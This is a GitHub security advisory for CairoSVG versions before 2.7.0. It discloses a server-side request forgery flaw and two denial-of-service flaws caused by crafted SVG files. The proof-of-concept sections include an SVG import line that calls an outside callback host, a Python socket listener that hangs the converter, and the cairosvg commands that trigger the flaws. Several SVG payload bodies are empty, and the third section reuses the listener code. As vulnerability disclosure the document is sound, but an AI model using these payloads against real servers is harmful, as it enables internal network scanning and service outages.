GHSA-rwmf-w63j-p7gv CairoSVG improperly processes SVG files loaded from external resources

• PyPI CairoSVG: < 2.7.0 → fixed in 2.7.0

SSRF vulnerability Summary When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts. Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9 Tested CairoSVG version 2.6.0 Details A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources. It looks like this bug can affect websites and cause request forgery on the server. PoC 1. Generating malicious svg file: 1.1 CairoSVG_exploit.svg: ```svg @import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5"); ``` 1.2 CairoSVG_exploit_2.svg: ```svg ``` 1.3 CairoSVG_exploit_3.svg: ```svg ``` 2. Run some commands: `$ python3 -m cairosvg CairoSVG_exploit.svg -f png` `$ python3 -m cairosvg CairoSVG_exploit_2.svg -f png` `$ python3 -m cairosvg CairoSVG_exploit_3.svg -f png ` 3. See result requests in Burp Collaborator: DOS vulnerability with SSTI Summary When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server. Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9 Tested CairoSVG version 2.6.0 PoC 1. Generating malicious svg file: ```svg ``` 2. In other server run this python program: ```python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 1234)) s.listen(1) conn, addr = s.accept() with conn: while True: data = conn.recv(2048) s.close() ``` 3. Run commands: `$timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png` (without timeout server will hang forever) DOS vulnerability with stdin file descriptor Summary Specially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server. Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9 Tested CairoSVG version 2.6.0 PoC 1. Generating malicious svg file: ```svg ``` 2. In other server run this python program: ```python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 1234)) s.listen(1) conn, addr = s.accept() with conn: while True: data = conn.recv(2048) s.close() ``` 3. Run commands: `$timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png`